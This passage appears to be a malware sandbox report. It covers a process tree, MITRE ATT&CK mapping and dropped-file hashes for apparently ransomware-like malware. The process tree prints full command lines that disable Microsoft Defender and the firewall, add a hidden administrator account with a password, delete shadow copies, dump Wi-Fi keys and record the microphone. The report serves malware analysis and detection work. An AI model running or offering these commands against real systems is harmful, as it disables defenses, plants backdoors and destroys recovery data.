      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:15648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:6108
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:4476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3712
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:5396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6168
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:6324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278979991092109.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9540
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9816
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:9616
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:11152
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:13252
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:11472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:14992

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:12672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:15776

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 508d75d2cd38d8f2ac565a9ee8870dd148cf10e20653379c049728c67674fa6b
MD5 e12d11f2fde151d8851206093839af4a
SHA1 38f3da185019c86362c577531882ac4bb61738b2
SHA512 302a1f93ea432c8749a03fd9eceb4bea9cdb754b729aa4b7cd7a61a3d64d39fcb0660d634865ed6d88d0aac5216e6c81d7e0e1eccc3eea177060e42ca9209f1e
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 4238c65102afe5b9720fd5efcda17c5a7ba1f20828f68aec2d879403bbfe3dbc
MD5 ce0f2e2b3e02924a007de6afdf6d6c2a
SHA1 f71fae55acb5211ced6fb96ffd3ac4a0e6ff9425
SHA512 7a86f26df36958e851df123a34de0c8ee8b6b9495eedbd2b0b0664439d6f698e45933e0a88ceb0a649b6baac6310f35ef61d5c9ccbdb098c145cf21424e0a0d7
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 3c5c45db1ce0c8ed2e7c4a349fe03d3dad87223a17dd18221f56dae5901f5fc1
MD5 d98ec7357a7bf0167df4a6a2ef2fda97
SHA1 6eafeecba75c8292a951cbf50be86a2eecc4410f
SHA512 e8a1e6257c9d4f6af36a51167016cc760addb371525138db09aa5a08a58ab64e65afe26b34a22730f1b7956a550ce640fdbc1a20209d5af74eb0d1756b0b03c7
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 878782f5b91e58c43d6b7522b4647d4ea7b9a251da84e14db94dcdce35be8a6a
MD5 46631bcacf83deb15bf4cb0b2752f342
SHA1 6ce403fdb9c3a7104d7f2b996191d240d344291f
SHA512 02295c6ac850bf4c049243c722bac06dd0ed4c2d1203690ae6339e7f89b1d3b78b0f9338465a5e44e568ccb68a92b68fdec55272078426304273ccc9fcc295c3
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 58b99f91dc35d74cb277ce8ac6be57f203e565a6795fa134038f8549f0fde8a3
MD5 83ccc73c916eaf6fab7aab3ed393f7dd
SHA1 cc8c90a89665dd2fa286cdebc122049826f1abe2
SHA512 64ccce97f063c9571ace2b634ddee8b0659c7ce9409391e2528a1dc4bc83abae48b09446eb35dbb67264335ffae261f96d4fa9597eb0d9c883ecec7e86e6e35d
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 253c9b932b0d68298c9a3039e12efddf1c03ec1190872f4b305e18340a297fe6
MD5 307c1c5900e908154c09ae51c0ce07cb
SHA1 60666559a2f338b824e8b48243c31e67841a3e0d
SHA512 ec5571823d20306001f5530b7c076969a5423784339e866432110fcb76c5eae3aa7b35ae4d0844728394b62f76656744f1b2e40b79d643bb75aa87a9275423c5
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 4eb67ba6ab59b8db4ff0b1b9cb8cfdf1acd29fccf68c930677640c3affd46d8e
MD5 aca85da87e933d06b06bca3fe2446f27
SHA1 d88ea913d5b1b75276ad53abb342b6ae867bbc7e
SHA512 2d660f7c40587c4e2feb3eedf5d8285a0a227b66d988edbeab5366a2ff669b7771cadfb868aee01b75008757a95d4946dca525613c81596613a3ea8846367456
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 a10300daf5032c525575afbd4496e2feee41a0b7d54b16220924803de4856a9f
MD5 406aa3255405298009dc323d0a40135c
SHA1 088cd9b03b803f857ede75c90c3030a2aef64515
SHA512 9783f6b28995e12248e87c3c416ff522bad748a02068dcaf8a557b3cac2af7b39ec1f9f1888d5c06e3489b3efc4fa2c7ab7168bdb78485897d93e39a5456d8db
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 53ebc002d708cc51a04f3025e0d73d4b3f2c5c544b6f4f2565f7f6aea118dfaf
MD5 3826af2363b642fc0b44823f3face9a5
SHA1 5166c6db35cc32a3e7ca6814de7dff29c0f61b1f
SHA512 2ad77c6e4c260fda57eefcd406ec7c37625b4e5c2a9d4b5c77c99963bae46483acda03f9bba87aff5fe825b9c639e29aea5fba6333a5ed2768dc82aa43bd248f
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 bec4562ca4586440db14ac11a5a7b65d2ab67c1bee2a8ed5e6cb833cb273ccf6
MD5 a9c2a82d9c2ff838205db72a9828afd5
SHA1 9fc7b54f98c4f3388eaddc6ce905f34130a501ab
SHA512 e88035c309afa695d6303a2bb20fb6d5ef500e15bb5abb64420aa8320809a228d3a63164549e262cc30205dc3792662859c484d762311b968ece5d28b7909346
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 0ecd894dd1a9f02da04b7c5f7fc17010fea86432dda40b6f602255a12ee2be20
MD5 4395f2b3c6993ef94f04db0ebd664e8e
SHA1 e47105f549b79f92ee5c372fffc4635d3f017cb2
SHA512 d373caba1d1d525f2c489ac7655d1fb2b5ada2d73e0d735f1594815e25228233689891dc51f5775b7fce41588382f04095ed1d15b146f12392c724e24ff2be7c
MD5 SHA1 SHA512

Submit Download

wall.bmp

Path C:\ProgramData\WindowsUpdate\wall.bmp
Size 4KB
SHA256 bfae0295664ce051cb59b4d5c6778bd55fc84e27cf2f68a2ee1c0191cc03903c
MD5 6b2dd92d813df1a29e272071229c77f7
SHA1 e0452bac1d427ffbfd71c613fe8aeb9b1a02c72b
SHA512 e6d29fc5b5c60c9c15834157db2a25fac1c6086d4bed389361126d5e6c82a769eafc026667c4c97e6059e84b348feba84e4a133ea265d4e93b370d094eacb41a
SSDEEP 48:LeXxko9UiJNSNGSn0j+Vx8pckYKgI4QSFc2K8CawnYSzRrh:8jpe0WSpXdX5SdfCawn5
TLSH
T1A6A11266F90ED2B0100B87B09F25152CE9CF0DCDE3A00D544A2A5C589AC2DB5AF79F6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

876c0ea9-ab41-4058-8749-be3997533039.inf

Path C:\Users\Admin\AppData\Local\Temp\876c0ea9-ab41-4058-8749-be3997533039.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0fuojdib.1gs.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0fuojdib.1gs.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

f164865a-7575-4632-a3ed-0e32e0ff69cf.inf

Path C:\Users\Admin\AppData\Local\Temp\f164865a-7575-4632-a3ed-0e32e0ff69cf.inf
Size 172B
SHA256 16acfaf6f45c96824ded999cbf6bf5f75bf4fd908604dfcfba9c60808e364843
MD5 26785ee774812e632461455f2f594d5b
SHA1 e66bd9ec9a91211cea7170a9248df7c24b01d07c
SHA512 cba07651568721f19a0624faac61d55451a74f12e4b03bc5ed052ddcd8b66c10711dbcd401e8906ceb4c4756e308607b1caf3b03f58cfe219cb31153141b8994
TLSH
T14FC080C0C1F1977505497D33117B02944DB3C5157D05170C30F0DD67426990563D323E
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 78B
SHA256 c3e45b1d1305872f04013ef777a3d82f31cc56f92d7223f829b2b3bed65a97d1
MD5 9fd45e99f98d6baf296064a14367b8c8
SHA1 b5ff70f54875824677573f200af2ccd9b06b3e6f
SHA512 0b835126e03d31e5aaf83a1bf259140d0f929becd52cd2d7f5a8b825c8e79ce77c1f0e01f7e6f87d37e7fa8af7d4795d4ce590699aaac8ea726cead53b88f5ed
TLSH
T113A012024882422E04042C1300D111487066046C79012B006100C819055740AB1C6102
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 39KB
SHA256 ac1cfcefb62dbdf0f6589bc559b03c064b1a01c7450f4e835ef262a25ae52854
MD5 677db4ccde76dc587ad451ab14922edd
SHA1 09025d308ca9d10e3436247362817fb41612fdd1
SHA512 a77d3c821447cb978da0b710e69d5437f979eeba23bbf70122dd86f4dea2f04235659f598b8ec6107839564fe817d4195030ecd2d683a38818da9ca3467010cf
SSDEEP 768:HEfUYnmYHTiqFmqMcgVMfIxf0HmoIf93HWdEEusXqKhCayzm:JYnPTFMdMAuHmoIf932df9XqiCW
TLSH
T1EE03E74437FD8628E1BF6BB74D7282008775F8978D23DB0D0ED1849E1A73B449A99B93
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\AEFF1C6B-6D8C-4A40-A61C-44E8A1E47A85\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\AEFF1C6B-6D8C-4A40-A61C-44E8A1E47A85\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

RANSOM_NOTE.txt

Path C:\Users\Admin\Desktop\RANSOM_NOTE.txt
Size 117B
SHA256 7cf8d385e7141b5bc8c2c48cf20a57c41dfc05d2474ba29c93189a4e193522d8
MD5 6482e81290ba858401e5a31b894cb00b
SHA1 215925ac6e0c8e377e8529dc318fa2416728e1ef
SHA512 fbbb4cddc867bb9a83252c102edfda25212acbe981d97b1b92f8cf00451bdc2fd2ad6b08cce34bebbb44c3195f69e906952a7fa2ec4bca495c9b08edbb210359
TLSH
T147B09B5B7ED8375457C8259215018C21A58DD50CD5454654013788506D655591595873
MD5 SHA1 SHA512 TLSH

Submit Download

invoice_2.pdf

Path C:\Users\Admin\Documents\invoice_2.pdf
Size 52KB
SHA256 86db7228fa4eac820eee935b64d77e804319cdbe8bb05cdd17ac42f92f8732fa
MD5 8933afbec1485e03acade0fd4c1fc7b7
SHA1 6ecc4f25c7cc00ec11cde95b86cb492af4eafe79
SHA512 be355e26d652f16cd991427962472f4bfac16e81897e4b6ce0ef662d561f815ab541888cef2bebb0eca3a53a57b6b0b17b6de9c031d92bc4fa33530ab083d009
SSDEEP 1536:3y9gsMJ4Ufup1xLk1ilkOXf8waQIzpmLaTJRU2MC7zXojCJI2ep:EVMn8LPllf8JzxHzXmGC
TLSH
T1703339368B23FDC0777E3D50F0142E561C583E5B8775A268FAC10DA62CEA544DF2E9A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 4KB
SHA256 0d3d55a42bd5e79e1a01ccda1e24a51d47583692c83189e4fe0ade2af180122f
MD5 78e5f979df07e2c5e5501f3c8aff82d0
SHA1 e6ab1553e404f4d5cd239f42b9541483e228f6bd
SHA512 309ecd33ecb940a07afe809b1a6945aae5009d7328f2185d346133a56c8ca603599dc1cdb441f63c2e4255078e85289af2ab414a9e3333c82b7cffbc81c020da
SSDEEP 96:vDZEurK9DvBwQjLQjLQjEQjLQjZQjLQjLQjEQjZQjmQjmQjDQjZ:RrK9zBwCLCLCECLCZCLCLCECZCmCmCD2
TLSH
T1EDA1AF32190DA5EC46F7C1A4007AF17FD917F1720CDAF8C6A598C5A633F4AAE11E11AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/348-396-0x0000022ADCFA0000-0x0000022ADCFA1000-memory.dmp

Download

memory/468-106-0x0000019FCE350000-0x0000019FCE402000-memory.dmp

Download

memory/468-39-0x0000019FB5E30000-0x0000019FB5E52000-memory.dmp

Download

memory/468-105-0x0000019FCDEE0000-0x0000019FCDEFE000-memory.dmp

Download

memory/468-107-0x0000019FCDF00000-0x0000019FCDF0A000-memory.dmp

Download

memory/4400-5-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-0-0x00007FFF2632F000-0x00007FFF26330000-memory.dmp

Download

memory/4400-32-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-314-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-4-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-1-0x0000000000880000-0x0000000000890000-memory.dmp

Download

memory/4400-497-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-34-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-35-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-242-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

memory/4400-36-0x00007FFF261A0000-0x00007FFF26B44000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads